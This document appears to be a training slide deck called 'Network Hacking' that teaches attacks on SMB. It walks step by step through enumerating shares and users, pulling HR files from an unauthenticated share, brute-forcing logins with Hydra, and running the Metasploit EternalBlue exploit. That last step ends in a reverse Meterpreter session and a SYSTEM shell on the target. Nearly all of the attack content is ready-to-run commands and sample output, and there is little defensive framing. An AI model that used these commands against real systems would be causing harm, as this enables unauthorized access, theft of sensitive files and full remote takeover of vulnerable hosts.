



Network Hacking

Hossam Shady
+201003425890

SMB



RED
nexus

- **SMB (Server Message Block)** is a network protocol primarily used for sharing files, printers, and communication between devices on the same network.
- It operates on **Port 445** (modern versions) and **Port 139** (older versions). # sometimes on port 137
- SMB is widely used in Windows environments but also supports Linux and macOS.
- SMB allows users and applications to read and write to files and request services on networked systems

SMB Vulnerabilities Overview

- Unauthenticated access to shared resources.
- Weak or no encryption on older SMB versions (SMBv1).
- Guest accounts allowing access without a password.
- Vulnerabilities like EternalBlue (used in WannaCry ransomware).
- Password reuse and weak password policies.

Scenario 1: SMB Share Enumeration



RED
nexus

- Tools: Nmap, smbclient, and enum4linux.
- Use scripts to enumerate users and shares as :

```
nmap -p 139,445 --script smb-enum-shares,smb-enum-users 10.10.10.1
```

- The scan reveals open ports 139 and 445, which are for SMB services.
- The available shares are ADMIN\$, C\$ (admin shares), and HR (a public shared folder)

Scenario 1: SMB Share Enumeration



RED
nexus

```
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
```

Host script results:

```
| smb-enum-shares:
|   ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|   C$:
|     Type: STYPE_DISKTREE_HIDDEN
|   HR:
|     Type: STYPE_DISKTREE
|     Comment: HR Department Documents
```

Scenario 1: SMB Share Enumeration



RED
nexus

- And this part of nmap result scan shows that the user does not require password to login and mount

```
|      Comment: HR Department Documents  
| smb-enum-users:  
|      Guest:  
|      Flags: 'Password not required'
```

Scenario 1: SMB Share Enumeration



RED
nexus

- SMBClient to List Shares

```
smbclient -L \\10.10.10.1 -N
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
HR	Disk	HR Department Documents

Scenario 1: SMB Share Enumeration



RED
nexus

- The Previous example attacker tries to view shared paths for the public found that admin\$ and C\$ are only for admins but HR is shared for public

Scenario 1: SMB Share Enumeration



RED
nexus

- : Enum4linux for Detailed Enumeration

```
enum4linux -a 10.10.10.1
```

This will show you more information about shred disks and the authenticated users to access and non-authenticated users

Scenario 1: SMB Share Enumeration



RED
nexus

```
=====
|   Share Enumeration on 10.10.10.1   |
=====
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
HR	Disk	HR Department Documents

Users on 10.10.10.1:

- Guest (Password not required)
- HR_Admin



Scenario 1: SMB Share Enumeration



RED
nexus

- As you can see in the previous example found that the user Guest can access with no need to authenticate
- As a result
- Attackers learn about exposed shares and users.

// Mounting a CIFS share (root)

```
sudo mount.cifs //10.10.10.1/shared_disk /home/kali -o user=your_username,password=your_pas
```

```
sudo mount -t nfs -o vers=3 10.10.10.1:/home/shared_disk /home/kali
```

Scenario 2: Exploiting Unauthenticated SMB Share



RED
nexus

- Access sensitive files in an open SMB share (e.g., Backup).
- Connect to the SMB share using `smbclient`:

```
smbclient \\10.10.10.1\Backup -N
```

This will connect you to SMB server without authentication

Try to download the data from it as

Scenario 2: Exploiting Unauthenticated SMB Share



RED
nexus

```
smb: \> ls
```

.	D	0	Fri Oct 13 09:12:45 2024
..	D	0	Fri Oct 13 09:12:45 2024
confidential_report.pdf	A	23492	Thu Oct 12 15:20:23 2024
hr_salaries.xlsx	A	13284	Wed Oct 11 17:45:12 2024

```
smb: \> get hr_salaries.xlsx
```

```
# mount -t nfs -o ver=3 [target]:/filename /home/kali
```

Scenario 2: Exploiting Unauthenticated SMB Share



RED
nexus

- This commands will get (or download) the file
- As a result :
- The attacker can read files and access sensitive data (e.g., stored credentials).

Scenario 3: Brute Force SMB Login



RED
nexus

- Brute-force weak credentials for SMB on 10.10.10.1.
- Use Hydra to brute-force the SMB login:

```
hydra -l admin -P /path/to/password-list.txt smb://10.10.10.1
```

```
[445][smb] host: 10.10.10.1  login: admin  password: admin123
```

Once you found valid credentials connect with it

Scenario 3: Brute Force SMB Login



RED
nexus

- The attacker gains access to sensitive documents through weak credentials.

```
smbclient \\10.10.10.1\HR -U admin
```

```
Password for [WORKGROUP\admin]:
```

```
smb: \> ls
```

confidential_report.pdf	A	23492	Thu Oct 12 15:20:23 2024
hr_salaries.xlsx	A	13284	Wed Oct 11 17:45:12 2024

Scenario 4: Exploiting SMB with EternalBlue



Exploit the **EternalBlue** vulnerability (CVE-2017-0144) to gain remote code execution on a vulnerable SMB server (Windows machine).

Scenario 4: Exploiting SMB with EternalBlue



- 1- Nmap Scan to identify if the system is vulnerable to EternalBlue

```
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.1
```

Host script results:

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

Scenario 4: Exploiting SMB with EternalBlue



- If nmap showed that the target is vulnerable to the CVE

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.10.10.1
exploit
```

- Once the exploit is successful, you'll have remote shell access to the target.

Scenario 4: Exploiting SMB with EternalBlue



RED
nexus

```
[*] Started reverse TCP handler on 10.10.10.100:4444
[*] 10.10.10.1 - Sending SMBv2 buffers...
[*] 10.10.10.1 - Exploit completed, but no session was created.
[*] Sending stage (179267 bytes) to 10.10.10.1
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.1:49460)
```

```
meterpreter > shell
```

```
C:\Windows\system32> whoami
nt authority\system
```

Join Us



- Facebook Page
- <https://www.facebook.com/profile.php?id=61560815391535>
- Whatsapp group
- <https://whatsapp.com/channel/0029VaqYJmc59PwLOkRzP2oe>
- Chat Group
- <https://chat.whatsapp.com/F5KJa2f7CrzBD4dPlCSquA>